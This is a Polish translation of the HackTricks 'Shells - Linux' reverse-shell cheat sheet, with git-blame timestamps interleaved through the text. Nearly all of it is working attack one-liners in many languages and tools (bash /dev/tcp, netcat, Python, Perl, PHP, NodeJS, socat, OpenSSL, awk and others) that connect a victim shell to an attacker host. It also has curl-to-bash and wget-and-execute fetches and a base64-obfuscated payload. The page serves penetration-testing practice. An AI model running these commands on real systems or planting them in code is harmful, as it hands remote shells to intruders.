2022-05-11 14:59:34 +00:00
# Shells - Linux
2022-04-28 16:01:33 +00:00
< details >
2024-02-11 01:46:25 +00:00
< summary > < strong > Naucz się hakować AWS od zera do bohatera z< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2023-12-30 20:49:23 +00:00
2024-03-09 13:17:44 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** , sprawdź [**PLANY SUBSKRYPCYJNE** ](https://github.com/sponsors/carlospolop )!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks** ](https://peass.creator-spring.com )
* Odkryj [**Rodzinę PEASS** ](https://opensea.io/collection/the-peass-family ), naszą kolekcję ekskluzywnych [**NFT** ](https://opensea.io/collection/the-peass-family )
2024-03-09 13:17:44 +00:00
* **Dołącz do** 💬 [**grupy Discord** ](https://discord.gg/hRep4RUj7f ) lub [**grupy telegramowej** ](https://t.me/peass ) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-02-11 01:46:25 +00:00
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-03-09 13:32:33 +00:00
**Jeśli masz pytania dotyczące któregokolwiek z tych shelli, możesz je sprawdzić za pomocą** [**https://explainshell.com/** ](https://explainshell.com )
2023-09-02 23:48:41 +00:00
2024-03-09 13:17:44 +00:00
## Pełne TTY
2023-09-02 23:48:41 +00:00
2024-03-09 13:17:44 +00:00
**Gdy już uzyskasz odwrócony shell**[ **przeczytaj tę stronę, aby uzyskać pełne TTY** ](full-ttys.md)**.**
2020-08-19 11:54:25 +00:00
2022-05-11 14:59:34 +00:00
## Bash | sh
2020-07-15 15:43:14 +00:00
```bash
2022-05-11 14:59:34 +00:00
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
2020-07-15 15:43:14 +00:00
bash -i >& /dev/tcp/< ATTACKER-IP > /< PORT > 0>& 1
2023-03-30 19:24:10 +00:00
bash -i >& /dev/udp/127.0.0.1/4242 0>& 1 #UDP
2020-07-15 15:43:14 +00:00
0< &196; exec 196< >/dev/tcp/< ATTACKER-IP > /< PORT > ; sh < & 196 >& 196 2>& 196
exec 5< >/dev/tcp/< ATTACKER-IP > /< PORT > ; while read line 0< &5; do $line 2>& 5 >&5; done
2023-03-30 19:24:10 +00:00
#Short and bypass (credits to Dikline)
2021-03-30 00:10:09 +00:00
(sh)0>/dev/tcp/10.10.10.10/9091
2022-09-13 16:41:09 +00:00
#after getting the previous shell to get the output to execute
2021-03-30 00:10:09 +00:00
exec >& 0
2020-07-15 15:43:14 +00:00
```
2024-02-11 01:46:25 +00:00
### Bezpieczna powłoka symboli
2024-03-09 13:17:44 +00:00
Nie zapomnij sprawdzić innych powłok: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash.
2020-07-15 15:43:14 +00:00
```bash
#If you need a more stable connection do:
2020-11-05 20:05:40 +00:00
bash -c 'bash -i >& /dev/tcp/< ATTACKER-IP > /< PORT > 0>& 1'
2020-07-15 15:43:14 +00:00
#Stealthier method
2020-11-05 20:05:40 +00:00
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
2020-07-15 15:43:14 +00:00
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
2024-02-11 01:46:25 +00:00
#### Wyjaśnienie powłoki
2020-07-15 15:43:14 +00:00
2024-02-11 01:46:25 +00:00
1. ** `bash -i` **: Ta część polecenia uruchamia interaktywną (`-i`) powłokę Bash.
2. ** `>&` **: Ta część polecenia jest skrótem do **przekierowania zarówno standardowego wyjścia** (`stdout`) jak i **standardowego błędu** (`stderr`) do **tego samego miejsca docelowego** .
3. ** `/dev/tcp/<ADRES-ATAKUJĄCEGO>/<PORT>` **: Jest to specjalny plik, który **reprezentuje połączenie TCP z określonym adresem IP i portem** .
2024-03-09 13:17:44 +00:00
* Poprzez **przekierowanie strumieni wyjścia i błędów do tego pliku** , polecenie efektywnie wysyła wyjście sesji interaktywnej powłoki na maszynę atakującego.
2024-02-11 01:46:25 +00:00
4. ** `0>&1` **: Ta część polecenia **przekierowuje standardowe wejście (`stdin`) do tego samego miejsca docelowego co standardowe wyjście (`stdout`)** .
2020-11-15 22:04:11 +00:00
2024-02-11 01:46:25 +00:00
### Utwórz w pliku i wykonaj
2020-11-15 22:04:11 +00:00
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1< ATTACKER-IP > /< PORT > 0>& 1' > /tmp/sh.sh; bash /tmp/sh.sh;
2020-11-15 22:28:16 +00:00
wget http://< IP attacker > /shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
2020-11-15 22:04:11 +00:00
```
2022-05-11 14:59:34 +00:00
## Forward Shell
2022-02-09 20:23:12 +00:00
2024-03-09 13:32:33 +00:00
Jeśli napotkasz **lukę RCE** w aplikacji internetowej opartej na systemie Linux, może się zdarzyć, że **uzyskanie odwrotnego shella stanie się trudne** z powodu obecności reguł Iptables lub innych filtrów. W takich scenariuszach rozważ utworzenie powłoki PTY w skompromitowanym systemie za pomocą potoków.
2024-02-07 04:06:18 +00:00
2024-03-09 13:17:44 +00:00
Kod znajdziesz na [**https://github.com/IppSec/forward-shell** ](https://github.com/IppSec/forward-shell )
2022-02-09 20:23:12 +00:00
2024-02-11 01:46:25 +00:00
Musisz tylko zmodyfikować:
2022-02-09 20:23:12 +00:00
2024-03-09 13:17:44 +00:00
* Adres URL hosta podatnego
2024-03-09 13:32:33 +00:00
* Prefiks i sufiks twojego payloadu (jeśli istnieją)
2024-02-11 01:46:25 +00:00
* Sposób wysyłania payloadu (nagłówki? dane? dodatkowe informacje?)
2022-02-09 20:23:12 +00:00
2024-03-09 13:17:44 +00:00
Następnie możesz po prostu **wysyłać polecenia** lub nawet **użyć polecenia `upgrade`** aby uzyskać pełny PTY (zauważ, że potoki są czytane i zapisywane z opóźnieniem około 1,3 s).
2022-02-09 20:23:12 +00:00
2022-05-11 14:59:34 +00:00
## Netcat
2020-07-15 15:43:14 +00:00
```bash
nc -e /bin/sh < ATTACKER-IP > < PORT >
nc < ATTACKER-IP > < PORT > | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>& 1|nc < ATTACKER-IP > < PORT > >/tmp/f
nc < ATTACKER-IP > < PORT1 > | /bin/bash | nc < ATTACKER-IP > < PORT2 >
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0< /tmp/bkpipe | nc < ATTACKER-IP > < PORT > 1>/tmp/bkpipe
```
2023-05-15 10:19:32 +00:00
## gsocket
2024-02-11 01:46:25 +00:00
Sprawdź to na [https://www.gsocket.io/deploy/ ](https://www.gsocket.io/deploy/ )
2023-05-15 10:19:32 +00:00
```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
2022-05-11 14:59:34 +00:00
## Telnet
2020-07-15 15:43:14 +00:00
2024-03-09 13:32:33 +00:00
Telnet jest protokołem sieciowym, który umożliwia zdalne logowanie do hosta. Może być używany do zdalnego zarządzania systemem oraz do przesyłania poleceń. Telnet przesyła dane w postaci tekstu, co oznacza, że nie jest zaszyfrowany i może stanowić ryzyko dla bezpieczeństwa.
2020-07-15 15:43:14 +00:00
```bash
telnet < ATTACKER-IP > < PORT > | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>& 1|telnet < ATTACKER-IP > < PORT > >/tmp/f
telnet < ATTACKER-IP > < PORT > | /bin/bash | telnet < ATTACKER-IP > < PORT >
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0< /tmp/bkpipe | telnet < ATTACKER-IP > < PORT > 1>/tmp/bkpipe
```
2022-05-11 14:59:34 +00:00
## Whois
2020-07-15 15:43:14 +00:00
2024-02-11 01:46:25 +00:00
**Atakujący**
2020-07-15 15:43:14 +00:00
```bash
while true; do nc -l < port > ; done
```
2024-02-11 01:46:25 +00:00
Aby wysłać polecenie, zapisz je, naciśnij Enter, a następnie naciśnij CTRL+D (aby zatrzymać STDIN)
2020-07-15 15:43:14 +00:00
2024-02-11 01:46:25 +00:00
**Ofiara**
2020-07-15 15:43:14 +00:00
```bash
export X=Connected; while true; do X=`eval $(whois -h < IP > -p < Port > "Output: $X")`; sleep 1; done
```
2022-05-11 14:59:34 +00:00
## Python
2020-07-15 15:43:14 +00:00
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
2024-02-11 01:46:25 +00:00
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
2020-07-15 15:43:14 +00:00
```
2022-05-11 14:59:34 +00:00
## Perl
2020-07-15 15:43:14 +00:00
```bash
perl -e 'use Socket;$i="< ATTACKER-IP > ";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while< >;'
```
2022-05-11 14:59:34 +00:00
## Ruby
2020-07-15 15:43:14 +00:00
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i < & %d >& %d 2>& %d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
2022-05-11 14:59:34 +00:00
## PHP
2022-07-01 18:36:12 +00:00
```php
2022-09-13 16:41:09 +00:00
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
2022-07-01 18:36:12 +00:00
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
2020-07-15 15:43:14 +00:00
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i < & 3 >& 3 2>&3"); '
2022-07-01 18:36:12 +00:00
// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
2021-09-02 21:18:04 +00:00
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
2020-07-15 15:43:14 +00:00
```
2022-05-11 14:59:34 +00:00
## Java
2020-07-15 15:43:14 +00:00
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/ATTACKING-IP/80;cat <& 5 | while read line; do \$line 2>& 5 >&5; done"] as String[])
p.waitFor()
```
2022-05-11 14:59:34 +00:00
## Ncat
2020-07-15 15:43:14 +00:00
```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```
2022-05-11 14:59:34 +00:00
## Golang
2024-03-09 13:32:33 +00:00
Go (znany również jako Golang) jest językiem programowania stworzonym przez Google. Jest często używany do tworzenia efektywnych narzędzi do programowania sieciowego i rozproszonego. Jego składnia jest podobna do języka C, ale zawiera wiele nowoczesnych funkcji, takich jak automatyczne zarządzanie pamięcią.
2020-07-15 15:43:14 +00:00
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go & & go run /tmp/t.go & & rm /tmp/t.go
```
2022-05-11 14:59:34 +00:00
## Lua
2020-07-15 15:43:14 +00:00
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i < & 3 >& 3 2>&3'); "
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
2022-05-11 14:59:34 +00:00
## NodeJS
2020-07-15 15:43:14 +00:00
```javascript
(function(){
2024-02-11 01:46:25 +00:00
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
2020-07-15 15:43:14 +00:00
})();
or
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
2021-11-08 23:40:13 +00:00
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>& 1'")
2020-07-15 15:43:14 +00:00
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
or
2022-05-29 23:24:32 +00:00
// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or
// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');
or
2020-07-15 15:43:14 +00:00
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
2022-10-17 15:02:34 +00:00
## OpenSSL
2020-07-15 15:43:14 +00:00
2024-03-09 13:32:33 +00:00
Napastnik (Kali)
2020-07-15 15:43:14 +00:00
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port < l_port > #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port < l_port2 > #Here yo will be able to get the response
```
2024-02-11 01:46:25 +00:00
Ofiara
2020-07-15 15:43:14 +00:00
```bash
#Linux
openssl s_client -quiet -connect < ATTACKER_IP > :< PORT1 > |/bin/bash|openssl s_client -quiet -connect < ATTACKER_IP > :< PORT2 >
#Windows
openssl.exe s_client -quiet -connect < ATTACKER_IP > :< PORT1 > |cmd.exe|openssl s_client -quiet -connect < ATTACKER_IP > :< PORT2 >
```
2022-05-11 14:59:34 +00:00
## **Socat**
2020-07-15 15:43:14 +00:00
[https://github.com/andrew-d/static-binaries ](https://github.com/andrew-d/static-binaries )
2024-03-09 13:32:33 +00:00
### Powiąż powłokę
2020-07-15 15:43:14 +00:00
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
2024-02-11 01:46:25 +00:00
attacker> socat FILE:`tty`,raw,echo=0 TCP:< victim_ip > :1337
2020-07-15 15:43:14 +00:00
```
2024-03-09 13:17:44 +00:00
### Odwrócona powłoka
2020-07-15 15:43:14 +00:00
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:< attackers_ip > :1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
2022-05-11 14:59:34 +00:00
## Awk
2024-02-11 01:46:25 +00:00
```bash
awk 'BEGIN {s = "/inet/tcp/0/< IP > /< PORT > "; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
2024-03-09 13:17:44 +00:00
## Palec
2024-02-11 01:46:25 +00:00
2024-03-09 13:17:44 +00:00
**Atakujący**
2024-02-11 01:46:25 +00:00
```bash
while true; do nc -l 79; done
```
2024-03-09 13:17:44 +00:00
Aby wysłać polecenie, napisz je, naciśnij Enter, a następnie naciśnij CTRL+D (aby zatrzymać STDIN)
2024-02-11 01:46:25 +00:00
**Ofiara**
2020-07-15 15:43:14 +00:00
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@< IP > 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@< IP > 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```
2022-05-11 14:59:34 +00:00
## Gawk
2020-07-15 15:43:14 +00:00
```bash
#!/usr/bin/gawk -f
BEGIN {
2024-02-11 01:46:25 +00:00
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
2020-07-15 15:43:14 +00:00
}
```
2022-05-11 14:59:34 +00:00
## Xterm
2020-07-15 15:43:14 +00:00
2024-03-09 13:17:44 +00:00
To spróbuje połączyć się z twoim systemem na porcie 6001:
2020-07-15 15:43:14 +00:00
```bash
xterm -display 10.0.0.1:1
```
2024-03-09 13:32:33 +00:00
Aby przechwycić odwrotną powłokę, możesz użyć (która będzie nasłuchiwać na porcie 6001):
2020-07-15 15:43:14 +00:00
```bash
2024-02-07 04:06:18 +00:00
# Authorize host
2020-07-15 15:43:14 +00:00
xhost +targetip
2024-02-07 04:06:18 +00:00
# Listen
Xnest :1
2020-07-15 15:43:14 +00:00
```
2022-05-11 14:59:34 +00:00
## Groovy
2020-07-15 15:43:14 +00:00
2024-02-11 01:46:25 +00:00
autor: [frohoff ](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76 ) UWAGA: Odwrócone powłoki Java również działają dla Groovy
2020-07-15 15:43:14 +00:00
```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
2024-03-09 13:17:44 +00:00
## Odnośniki
2024-02-07 04:06:18 +00:00
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/ ](https://highon.coffee/blog/reverse-shell-cheat-sheet/ )
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell ](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell )
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/ ](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/ )
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md )
2020-07-15 15:43:14 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-03-09 13:17:44 +00:00
< summary > < strong > Nauka hakowania AWS od zera do bohatera z< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2023-12-30 20:49:23 +00:00
2024-03-09 13:17:44 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** , sprawdź [**PLANY SUBSKRYPCYJNE** ](https://github.com/sponsors/carlospolop )!
* Kup [**oficjalne gadżety PEASS & HackTricks** ](https://peass.creator-spring.com )
2024-02-11 01:46:25 +00:00
* Odkryj [**Rodzinę PEASS** ](https://opensea.io/collection/the-peass-family ), naszą kolekcję ekskluzywnych [**NFT** ](https://opensea.io/collection/the-peass-family )
2024-03-09 13:17:44 +00:00
* **Dołącz do** 💬 [**grupy Discord** ](https://discord.gg/hRep4RUj7f ) lub [**grupy telegramowej** ](https://t.me/peass ) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-03-09 13:32:33 +00:00
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) na githubie.
2022-04-28 16:01:33 +00:00
< / details >